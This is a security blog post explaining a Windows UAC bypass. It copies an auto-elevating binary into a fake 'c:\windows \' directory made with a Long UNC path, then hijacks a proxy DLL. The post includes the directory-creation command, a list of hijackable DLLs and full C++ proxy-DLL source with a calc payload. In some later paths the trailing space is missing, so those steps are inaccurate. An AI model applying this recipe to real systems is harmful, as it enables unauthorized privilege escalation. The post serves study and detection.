Analysis of UAC Bypass Exploitation by Mocking Trusted Directories

Onedaysec
4 min read
0 views
docx image 1770017311822 0 db3ac88cf0

0x00 Preface

---

A technique learned from @CE2Wells' blog: bypassing UAC by mocking trusted directories. This article will introduce this method based on personal experience, add my own insights, and share details from testing.

Article link:

https://medium.com/tenable-techblog/uac-bypass-by-mocking-trusted-directories-24a96675f6e

0x01 Introduction

---

  • Principle Overview
  • Implementation Details
  • Practical Testing
  • Exploitation Analysis

0x02 Principle Overview

---

1. Long UNC

In a previous article titled 'Catalog Signature Forgery – Long UNC Filename Spoofing', it was mentioned that using Long UNC for exe files can deceive the system into recognizing it as another file.

For example:

type putty.exe > "\\?\C:\Windows\System32\calc.exe "

As shown in the figure below

1. Long UNC — technical illustration 1

This method also applies to folders.

For example:

md "\\?\c:\windows "

The newly created folder can deceive the system into recognizing it as another folder.

As shown in the figure below

1. Long UNC — technical illustration 2

1. Long UNC — technical illustration 3

2. Files that can bypass UAC by default

Must meet the following three conditions:

  • The program is configured to automatically elevate privileges and execute with administrator permissions.
  • Program contains signature
  • Executed from trusted directory ("c:\windows\system32")

3. Regular user permissions can create folders in disk root directory

For example, regular user permissions can create folders under C drive

4. DLL hijacking

If an exe program needs to load DLLs during startup, it first searches the same directory as the exe by default

In summary, all conditions for bypassing UAC are met

Implementation approach is as follows:

  1. Find a file that can bypass UAC by default, such as c:\windows\system32\winsat.exe
  2. Use Long UNC to create a special folder "c:\windows \" and copy winsat.exe to this directory
  3. Execute winsat.exe, record the startup process, and discover it needs to load WINMM.dll from the same directory during startup
  4. Write payload.dll, specify export functions identical to c:\windows\system32\winmm.dll, and name it "c:\windows \system32\WINMM.dll"
  5. Execute "c:\windows \system32\winsat.exe", which will automatically bypass UAC, load "c:\windows \system32\WINMM.dll", and execute the payload

0x03 Implementation Details

---

1. Find exploitable exe files

One characteristic of these files is that the autoElevate attribute in the manifest is true

Automated search can be achieved using PowerShell, reference tool:

https://github.com/g3rzi/Manifesto

The GUI tool usage is shown in the following image

1. Find exploitable exe files — technical illustration 4

2. Use Long UNC to create a special folder "c:\windows \"

C++ implementation code is as follows:

CreateDirectoryW(L"\\\\?\\C:\\Windows \\", 0);

The command implemented via command line is as follows:

md "\\?\c:\windows "

3. Record the startup process of winsat.exe, looking for dlls loaded during startup

Here you can use Process Monitor, filter for records with result "NAME NOT FOUND" during startup, as shown in the following image

3. Record the startup process of winsat.exe, looking for dlls loaded during startup — technical illustration 5

Therefore, the exploitable dll names are as follows:

  • VERSION.dll
  • WINMM.dll
  • POWRPROF.dll
  • dxgi.dll
  • dwmapi.dll
  • d3d10_1.dll
  • d3d11core.dll
  • d3d11.dll
  • d3d10core.dll
  • QUARTZ.dll

Choose any one

4. Write payload.dll, specify export functions

exportstoc can be used here, download address:

https://github.com/michaellandi/exportstoc

For detailed usage instructions, refer to the previous article "Study Notes Weekly No.1(Monitor WMI & ExportsToC++ & Use DiskCleanup bypass UAC)"

For example, here we select VERSION.dll, the original DLL path to hijack is c:\\Windows\\system32\\version.dll, as shown in the figure below

4. Write payload.dll, specify export functions — technical illustration 6

Add payload to launch calculator, the final code is as follows:

#include "stdafx.h"
#include
#include

using namespace std;

#pragma comment (linker, "/export:GetFileVersionInfoA=c:\\windows\\system32\\version.GetFileVersionInfoA,@1")
#pragma comment (linker, "/export:GetFileVersionInfoByHandle=c:\\windows\\system32\\version.GetFileVersionInfoByHandle,@2")
#pragma comment (linker, "/export:GetFileVersionInfoExW=c:\\windows\\system32\\version.GetFileVersionInfoExW,@3")
#pragma comment (linker, "/export:GetFileVersionInfoSizeA=c:\\windows\\system32\\version.GetFileVersionInfoSizeA,@4")
#pragma comment (linker, "/export:GetFileVersionInfoSizeExW=c:\\windows\\system32\\version.GetFileVersionInfoSizeExW,@5")
#pragma comment (linker, "/export:GetFileVersionInfoSizeW=c:\\windows\\system32\\version.GetFileVersionInfoSizeW,@6")
#pragma comment (linker, "/export:GetFileVersionInfoW=c:\\windows\\system32\\version.GetFileVersionInfoW,@7")
#pragma comment (linker, "/export:VerFindFileA=c:\\windows\\system32\\version.VerFindFileA,@8")
#pragma comment (linker, "/export:VerFindFileW=c:\\windows\\system32\\version.VerFindFileW,@9")
#pragma comment (linker, "/export:VerInstallFileA=c:\\windows\\system32\\version.VerInstallFileA,@10")
#pragma comment (linker, "/export:VerInstallFileW=c:\\windows\\system32\\version.VerInstallFileW,@11")
#pragma comment (linker, "/export:VerLanguageNameA=c:\\windows\\system32\\version.VerLanguageNameA,@12")
#pragma comment (linker, "/export:VerLanguageNameW=c:\\windows\\system32\\version.VerLanguageNameW,@13")
#pragma comment (linker, "/export:VerQueryValueA=c:\\windows\\system32\\version.VerQueryValueA,@14")
#pragma comment (linker, "/export:VerQueryValueW=c:\\windows\\system32\\version.VerQueryValueW,@15")

BOOL WINAPI DllMain(HINSTANCE hInst,DWORD reason,LPVOID)
{
system("start calc.exe");
return true;
}

Compile it into a DLL and save it as "c:\windows\system32\VERSION.dll".

5. Launch the executable

To launch from the command line, use the absolute path: "c:\windows\system32\winsat.exe"

Note:

Short filenames (obtained via "dir /x") cannot be used here

0x04 Exploitation Analysis

---

1. Multiple exploitable locations exist

In my test system (Win7 x64), there are 39 exploitable exe files, and many exploitable dll files as well

2. There are other forms for Long UNC folders

For example:

  • Filenames can contain multiple spaces: "\\?\C:\Windows "
  • Using the character "." (at least two): "\\?\C:\Windows.."

However, other forms of folders cannot be used to bypass UAC

3. Creating forged folders using Long UNC can deceive "careless administrators"

For example, if the system has Windows command line process auditing enabled, recording program execution parameters

As shown in the figure below

0x04 Exploitation Analysis — technical illustration 7

It is difficult to distinguish with the naked eye

0x05 Summary

---

This article analyzes the method of bypassing UAC by simulating trusted directories and shares details from the testing process

Related Questions & Answers

What are some limitations or variations of the Long UNC folder creation for UAC bypass?

The fake folder can be created with multiple spaces (e.g., `\\?\C:\Windows `) or using at least two periods (e.g., `\\?\C:\Windows..`), but only the space variation works for UAC bypass. Additionally, short filenames (8.3 format) cannot be used to reference the fake path. The technique exploits path confusion to deceive administrators during process auditing, as the folder name appears identical to the legitimate `Windows` directory. Further variations are explored in [Expansion of Techniques for Exploiting Simulated Trusted Directories](/news/expansion-of-techniques-for-exploiting-simulated-trusted-directories).

What tools and steps are used to identify exploitable executables and DLLs for this UAC bypass?

First, use a tool like Manifesto (or PowerShell) to scan for executables with `autoElevate=true` in their manifest, such as `winsat.exe`. Then, run Process Monitor (ProcMon) while launching the executable, filtering for "NAME NOT FOUND" results to find DLLs that the executable tries to load from its own directory. Common candidates include `VERSION.dll`, `WINMM.dll`, and `POWRPROF.dll`. This process is explained in the [Analysis of UAC Bypass Exploitation by Mocking Trusted Directories](/news/analysis-of-uac-bypass-exploitation-by-mocking-trusted-directories).

How does DLL hijacking factor into this UAC bypass technique?

Once the auto-elevating executable (e.g., `winsat.exe`) runs, it searches for required DLLs in its own directory first. By placing a malicious DLL such as `VERSION.dll` in `c:\windows \system32\`, the executable loads the attacker's DLL instead of the legitimate one from `c:\windows\system32`. This DLL hijack executes the payload with elevated privileges, effectively bypassing UAC. The same principle is used in [Office backdoor implemented using VSTO](/news/office-backdoor-implemented-using-vsto) where trusted applications load malicious components.

What are the three conditions a program must meet to bypass UAC by default, and how does the exploit satisfy them?

A program must have `autoElevate=true` in its manifest, contain a valid signature, and execute from a trusted directory like `c:\windows\system32`. The exploit satisfies these by selecting an auto-elevating signed executable (e.g., `winsat.exe`), placing it inside a fake `c:\windows \` folder created with a Long UNC path, and running it from `c:\windows \system32\` which the system mistakenly treats as a trusted location. This approach is a variant of techniques discussed in [Use CLR to bypass UAC](/news/use-clr-to-bypass-uac).

How does the Long UNC path technique help in bypassing UAC by mocking trusted directories?

The Long UNC path technique allows an attacker to create a folder with spaces or dots appended, such as `\\?\C:\Windows \`, which the system interprets as a separate directory. By placing an auto-elevating executable like `winsat.exe` inside this fake folder (e.g., `c:\windows \system32\winsat.exe`), the program runs from a path that looks like `c:\windows\system32`, satisfying the trusted directory requirement for UAC bypass. This method is detailed in the original [Analysis of UAC Bypass Exploitation by Mocking Trusted Directories](/news/analysis-of-uac-bypass-exploitation-by-mocking-trusted-directories).

Continue Reading